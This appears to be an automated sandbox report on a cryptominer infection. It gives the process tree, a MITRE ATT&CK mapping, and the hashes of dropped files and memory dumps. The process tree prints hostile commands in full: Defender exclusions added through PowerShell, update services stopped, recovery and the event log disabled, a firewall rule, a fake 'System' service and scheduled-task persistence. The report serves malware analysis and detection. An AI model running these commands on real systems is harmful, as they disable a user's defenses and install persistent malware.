        "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"
        7⤵
        Executes dropped EXE
        
        PID:3920
      - C:\Windows\system32\SearchFilterHost.exe
        
        "C:\Windows\system32\SearchFilterHost.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:560
        
        C:\Users\Admin\AppData\Roaming\jusched\jusched.exe
        
        "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"
        7⤵
        Looks for VirtualBox Guest Additions in registry
        Looks for VMWare Tools registry key
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2468
        
        C:\Users\Admin\AppData\Roaming\jusched\jusched.exe
        
        "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"
        8⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2456
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks.exe" /Create /TN "jusched" /TR "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe" /SC ONLOGON /RL HIGHEST /IT /F
        9⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3896
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks.exe" /Create /TN "jusched" /TR "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe" /SC ONLOGON /IT /F
        9⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5116
        
        C:\Windows\system32\dllhost.exe
        
        "C:\Windows\system32\dllhost.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3004
        
        C:\Windows\system32\dllhost.exe
        
        "C:\Windows\system32\dllhost.exe"
        9⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2776
        
        C:\Windows\system32\SearchProtocolHost.exe
        
        "C:\Windows\system32\SearchProtocolHost.exe"
        9⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3744
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks.exe" /Query /TN "jusched"
        9⤵
        
        PID:2040
        
        C:\Users\Admin\AppData\Roaming\jusched\jusched.exe
        
        "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"
        9⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2864
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks.exe" /Create /TN "jusched" /TR "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe" /SC ONLOGON /RL HIGHEST /IT /F
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3460
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks.exe" /Create /TN "jusched" /TR "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe" /SC ONLOGON /IT /F
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:936
        
        C:\Windows\system32\SearchFilterHost.exe
        
        "C:\Windows\system32\SearchFilterHost.exe"
        9⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1704
        
        C:\Windows\system32\dllhost.exe
        
        "C:\Windows\system32\dllhost.exe"
        9⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4840
      - C:\Windows\system32\netsh.exe
        
        C:\Windows\system32\netsh.exe advfirewall firewall add rule name="BlkDoT" dir=out action=block protocol=tcp remoteport=853 enable=yes
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:1668
      - C:\Windows\system32\reagentc.exe
        
        C:\Windows\system32\reagentc.exe /disable
        6⤵
        Drops file in Windows directory
        
        PID:2712
      - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe "C:\Users\Admin\AppData\Local\Temp\51abe92dbe2a\210ea744.dll",ExcludeMain
        6⤵
        Loads dropped DLL
        
        PID:3688
      - C:\Windows\system32\dllhost.exe
        
        "C:\Windows\system32\dllhost.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4152
        
        C:\Users\Admin\AppData\Roaming\jusched\jusched.exe
        
        "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"
        7⤵
        Executes dropped EXE
        
        PID:4856
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe /set {default} recoveryenabled No
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:4560
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe /set {default} bootstatuspolicy IgnoreAllFailures
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:3888
      - C:\Users\Admin\AppData\Local\Temp\a2a4cc3c0f82\miner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a2a4cc3c0f82\miner.exe"
        6⤵
        Executes dropped EXE
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3472
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        Modifies data under HKEY_USERS
        Suspicious use of AdjustPrivilegeToken
        
        PID:2396
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:2632
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        8⤵
        
        PID:4552
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        7⤵
        Launches sc.exe
        
        PID:224
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        7⤵
        Launches sc.exe
        
        PID:2236
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        7⤵
        Launches sc.exe
        
        PID:1536
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        7⤵
        Launches sc.exe
        
        PID:3728
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        7⤵
        Launches sc.exe
        
        PID:4616
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        7⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:4688
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        7⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:864
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        7⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:2404
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        7⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:4660
        
        C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        7⤵
        
        PID:2640
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "System"
        7⤵
        Launches sc.exe
        
        PID:1480
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "System" binpath= "C:\ProgramData\System\System32.exe" start= "auto"
        7⤵
        Launches sc.exe
        
        PID:1324
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        7⤵
        Launches sc.exe
        
        PID:3844
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "System"
        7⤵
        Launches sc.exe
        
        PID:4720
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\a2a4cc3c0f82\miner.exe"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:3020
        
        C:\Windows\system32\choice.exe
        
        choice /C Y /N /D Y /T 3
        8⤵
        
        PID:3060
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe /set {bootmgr} displaybootmenu No
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:2396
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe /timeout 0
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:1064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3376

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3580

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3732

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4040

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4588

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2008

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
1⤵
PID:2148

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4956

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:4116

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:2968

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:2000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:5104

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
PID:3100

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4008

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:3720

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:1600

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:3028

C:\Users\Admin\AppData\Roaming\jusched\jusched.exe
"C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"
1⤵
- Executes dropped EXE
PID:1192

C:\Users\Admin\AppData\Roaming\jusched\jusched.exe
C:\Users\Admin\AppData\Roaming\jusched\jusched.exe
1⤵
- Executes dropped EXE
PID:4196

C:\Windows\system32\dllhost.exe
C:\Windows\system32\dllhost.exe
1⤵
PID:5092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:1696

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:4208

C:\ProgramData\System\System32.exe
C:\ProgramData\System\System32.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3640
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1064
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:4712
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:4432
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:4544
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3036
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:3860
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:4000
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2856
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:456
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4804
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:5092
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:380
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:1668
- C:\Windows\system32\dialer.exe
  dialer.exe
  2⤵
  PID:1480

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:3012

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Safe Mode Boot

T1562.009

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

903428e2.exe

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\903428e2.exe
Size 8.1MB
SHA256 e86e094c950922c2610f0f3816d3263c590c5b20d08d846fe0a09b85b89de934
MD5 d5a6f3a1fa08cc9795c013fd282c858a
SHA1 7d323f4700a2d757a3364acf384093cbaf9f0091
SHA512 3852d95cecd022e6d13f221b76ffe32e6f43c2e5da1509cd41d15251d36077cb242a812a1cd442ad44b470cedf117e164e91776ac2c2b33c1564ae2e71cdc5cb
SSDEEP 98304:UaUM0XygR/89zZzjcf0KvDGPZn3Z9FboqId:yxigR/8BtjzaDGPZn3ZPboX
TLSH
T19A868E05A3E40AE4D62BD734C935DF33DBB0BD555334CA4F16A5E28B1F33A848E2A625
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

210ea744.dll

Path C:\Users\Admin\AppData\Local\Temp\51abe92dbe2a\210ea744.dll
Size 103KB
SHA256 e997295f53fb4e7b72a01e5a01587c92f42f887ad9b382f5c3ffc9173469fc51
MD5 3847aa3d7ab12e18b0819e5e3eac413c
SHA1 7bcd028de77de2e3953aa2f4b8cb29fecf41667d
SHA512 ec818f5970519a55ce137442b0cb1b04b8ea24ea83e2930375f23006d9320a30199b749622317035f3ca34f7d62d800b22cba7fe5ac86d70e2a74f39eaa1eb57
SSDEEP 3072:iB+UAPT6qR2+IuCZj+j5By1IN2GgzskZpgyzfWHDrB7ijPGyuIWC+vmXO/2iePLi:3L6o2NTaj5By6imv
TLSH
T119A35A1B62BA00BBE1778638C8570A0AE772B84557616FEF43A0465E2F273D19D3DF21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_dfqhqit4.yge.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dfqhqit4.yge.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

miner.exe

Path C:\Users\Admin\AppData\Local\Temp\a2a4cc3c0f82\miner.exe
Size 2.7MB
SHA256 90245f1a83c588643402419d8fe15916fc5348dde89e85a359f6b080321e262e
MD5 08e9868657289f14b391650fa1ee0efe
SHA1 253b9892b3eb6b5ddd2b377ca45b20f52b614926
SHA512 e9855d2eb388f1b5dd378869bef5745306d8baeb119ff8bb11f4424301f94e1e3638546716862f3e57887013450cad197132828859b2d459c53f7879e98e3818
SSDEEP 49152:H7jGuWkOqGCwu1M22Hbtz1whzBv99AS7n56F22caVIo690T6KqzXZKnCw+23EX:bozpx22Zz1kviEUFcaVIo690+5zJKnxC
TLSH
T185D5335961946ADDC624F93A61354A6068F734ADCFF0A2DBEDC3AF32F46C4E12633160
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5116a07b.dll

Path C:\Users\Admin\AppData\Local\Temp\a4fdf8226c34\5116a07b.dll
Size 103KB
SHA256 339436ac9c8a578e1926b1dcac78f1a082c2c67786f1234124bc97fb329bc956
MD5 19161a8992e965227cb73f62ec296849
SHA1 338f9df499bda8393edbafcc872f8a679096e90f
SHA512 50f58f4ab0c8c3768f701ef62b2ac7cae91a8cc7d2f52eb7a1b3a79e406e65b5002bf93abdca44301a7629ff2b0f746e051c85ad09446b1b47ad6128485fba10
SSDEEP 3072:GEzXJjaSuyhjgjVebPw9roFSKvbQRiKIE:3zZjPrcjVeTA3nR
TLSH
T16EA35A5763E600BBE2B78638C5674B45DB72B8564720AFEF0394865A2F237D08D39F21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a49abbc6.dll

Path C:\Users\Admin\AppData\Local\Temp\a569b144ef80\a49abbc6.dll
Size 116KB
SHA256 621676dd9f617e94a72677f0d58e295302077b0535b75d612354f52dffa086a2
MD5 52849c40bbd41814901dcc6ca68f92df
SHA1 9a24ad0cbd19f11f09224049741329a072d71393
SHA512 edf0608b326c69f4470273c18f50574f776127eb1bca8a917c682a3edf8c9ba853c6f1fc0e230033aa211ffb79ee941c85cc1cb9883b10e05ccda2e881e50b31
SSDEEP 3072:34fKSwmpvHH25VAXcEYSJJ3tadwOXInCktBUy7qF91tlFlFACNB:34CSnp27AXcjNwOoBhCN
TLSH
T12FC35B6BA2B8C0BBE1768634C8570F159776F8210661DFFF0BA0421A1F637D15D2AB72
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

26f7bfa9.dll

Path C:\Users\Admin\AppData\Local\Temp\d6a706e937ac\26f7bfa9.dll
Size 99KB
SHA256 d3bbe6895fb6bd9a2eb9bf721df1edf7a9abced8ee0056d4b62c2e38adc50fdf
MD5 3cfababbb9bfdba7101261fd9643f7f6
SHA1 a5ddca85af5234242c412d7a664f44e579709314
SHA512 8be20e5ccd22099ac8f889083bcb548814bb3134f5e2532c5e8145b6bd41dceabaca6dffa875b4e2a1f53bec6bdd04071502e0a31df58c5eefdb6f844471e701
SSDEEP 3072:14R2mIPxJuCijxjRTEXE/uldVN1MKRR8518/+:+RjKz09jRTsE/CRW8m
TLSH
T150A3499772E500BBE1BB867988674E45D7B6F81507219FEF03A0425A2F237E18D3DB21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jusched.lnk

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\jusched.lnk
Size 173B
SHA256 c5a7304c84901f895a8e544a163d835e83f10208959fdb6f09db18f75fc8b7ed
MD5 4e06e2fcc22393f19128493c46fed2f0
SHA1 40b86e3fd45dd6f213650637771ba65f4a4fa2c0
SHA512 e845113d121abae240ebfa3a65f21c917587dcf640c8e7cc10a45997a0e425ac063c3381064fe0803f6ef37ebd38aec38750c449af41456358c675dfd90fb798
TLSH
T12AC0124007EBCF6CE4030372473A174CE1F4ED042B841749C309411D1812104FC19E05
MD5 SHA1 SHA512 TLSH

Submit Download

ReAgent.xml

Path C:\Windows\system32\Recovery\ReAgent.xml
Size 1KB
SHA256 6719991a9b174d1269d0aedf950078a74d59b856750b26c08d93583b8d80f16a
MD5 28d16a443be7a8afcb38cd1d9ebcee0f
SHA1 a6084b0bc090abb9f4e7cb098f9160140837b1bc
SHA512 e5124983c75ce1d5af60f50452ba835a0d8e4dec390f912a240fa6b0b88f1c3e2e83afd82ba844f35b2e7b022a45112dd5f1295fe60aaff47df37c4332d0cf98
TLSH
T11321E74681B418B6D7B1D356F1F8BD60463FF1DD02E08A5CA019F6D3944B4528B5F9B0
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.EXE.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
Size 4KB
SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
MD5 bdb25c22d14ec917e30faf353826c5de
SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
TLSH
T10D91EF313275E1D5C8663F031A2D19D093AF4396EA54AF48B25C625EED2604BDB122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0fd68598598d1dfa246506196e6e0b46ee2b3b26a91c229ff9bb290c7f63d7c1
MD5 1469e2ebd82af1abedcfc0e1a7d57cc5
SHA1 f5622e3d8e7d2275d44f1c1d806a90b0a52cb3bf
SHA512 2aee37eccdc020a54dfbd0b15837848763ab7daf32c152389a349ff23eab2aa0178901402299d2116bfa1c43af747f34f03b72db99cf752ca7827f3eebd05617
TLSH
T106218627B3DC8A21CC86163A109DAC10766683C7819EDF9F6BC0D614A0BF988CB21290
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 250a0568610fb61c64288d3c48308b4a1400654fdacb59ca754e8f4de6e549f7
MD5 d4822fe726f6c709e961fe45279dcc71
SHA1 30832948e6004a5fbcebb606f437f945098c87b3
SHA512 1d38d101746954d0b0e3ec6bf4deb8b0b24aae1a43fb269426073ba6ad7f4cfa7b65125b12bc455d6504aadd5f9debc5895a86acd5f8f0b572ec248bc2447610
TLSH
T142119333B38C8920CC96163A409DAC1132B283CB40AECE9FAFC0C214A0BF988CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

memory/536-227-0x00000222E8A20000-0x00000222E8A4B000-memory.dmp

Download

memory/536-221-0x00000222E8A20000-0x00000222E8A4B000-memory.dmp

Download

memory/536-228-0x00007FFAA6070000-0x00007FFAA6080000-memory.dmp

Download

memory/620-184-0x00007FFAA6070000-0x00007FFAA6080000-memory.dmp

Download

memory/620-183-0x000002731E270000-0x000002731E29B000-memory.dmp

Download

memory/620-175-0x000002731E240000-0x000002731E265000-memory.dmp

Download

memory/620-176-0x000002731E270000-0x000002731E29B000-memory.dmp

Download

memory/620-177-0x000002731E270000-0x000002731E29B000-memory.dmp

Download

memory/672-194-0x00000218DF780000-0x00000218DF7AB000-memory.dmp

Download

memory/672-189-0x00000218DF780000-0x00000218DF7AB000-memory.dmp

Download

memory/672-195-0x00007FFAA6070000-0x00007FFAA6080000-memory.dmp

Download

memory/692-232-0x000001B50E1B0000-0x000001B50E1DB000-memory.dmp

Download

memory/692-238-0x000001B50E1B0000-0x000001B50E1DB000-memory.dmp

Download

memory/692-239-0x00007FFAA6070000-0x00007FFAA6080000-memory.dmp

Download

memory/876-205-0x0000024175300000-0x000002417532B000-memory.dmp

Download

memory/876-206-0x00007FFAA6070000-0x00007FFAA6080000-memory.dmp

Download

memory/876-199-0x0000024175300000-0x000002417532B000-memory.dmp

Download

memory/1004-216-0x000001B9F4100000-0x000001B9F412B000-memory.dmp

Download

memory/1004-217-0x00007FFAA6070000-0x00007FFAA6080000-memory.dmp

Download

memory/1004-210-0x000001B9F4100000-0x000001B9F412B000-memory.dmp

Download

memory/1040-250-0x00007FFAA6070000-0x00007FFAA6080000-memory.dmp

Download

memory/1040-249-0x000001DF37560000-0x000001DF3758B000-memory.dmp

Download

memory/1040-243-0x000001DF37560000-0x000001DF3758B000-memory.dmp

Download

memory/1080-260-0x0000019E28DC0000-0x0000019E28DEB000-memory.dmp

Download

memory/1080-261-0x00007FFAA6070000-0x00007FFAA6080000-memory.dmp

Download

memory/1080-254-0x0000019E28DC0000-0x0000019E28DEB000-memory.dmp

Download

memory/1096-271-0x000002B46D980000-0x000002B46D9AB000-memory.dmp

Download

memory/1096-265-0x000002B46D980000-0x000002B46D9AB000-memory.dmp

Download

memory/1480-149-0x0000000140000000-0x0000000140835000-memory.dmp

Download

memory/1480-139-0x0000000140000000-0x0000000140835000-memory.dmp

Download

memory/1480-136-0x0000000140000000-0x0000000140835000-memory.dmp

Download

memory/1480-146-0x0000000140000000-0x0000000140835000-memory.dmp

Download

memory/1480-137-0x0000000140000000-0x0000000140835000-memory.dmp

Download

memory/1480-148-0x0000000140000000-0x0000000140835000-memory.dmp

Download

memory/1480-147-0x0000000140000000-0x0000000140835000-memory.dmp

Download

memory/1480-145-0x0000000140000000-0x0000000140835000-memory.dmp

Download

memory/1480-143-0x0000000140000000-0x0000000140835000-memory.dmp

Download

memory/1480-142-0x0000000140000000-0x0000000140835000-memory.dmp

Download

memory/1480-140-0x0000000140000000-0x0000000140835000-memory.dmp

Download

memory/1480-144-0x0000026AC9860000-0x0000026AC9880000-memory.dmp

Download

memory/1480-141-0x0000000140000000-0x0000000140835000-memory.dmp

Download

memory/1668-130-0x0000000140000000-0x000000014000D000-memory.dmp

Download

memory/1668-132-0x0000000140000000-0x000000014000D000-memory.dmp

Download

memory/1668-128-0x0000000140000000-0x000000014000D000-memory.dmp

Download

memory/1668-129-0x0000000140000000-0x000000014000D000-memory.dmp

Download

memory/1668-138-0x0000000140000000-0x000000014000D000-memory.dmp

Download

memory/1668-131-0x0000000140000000-0x000000014000D000-memory.dmp

Download

memory/2396-72-0x000002137BCD0000-0x000002137BCF2000-memory.dmp

Download

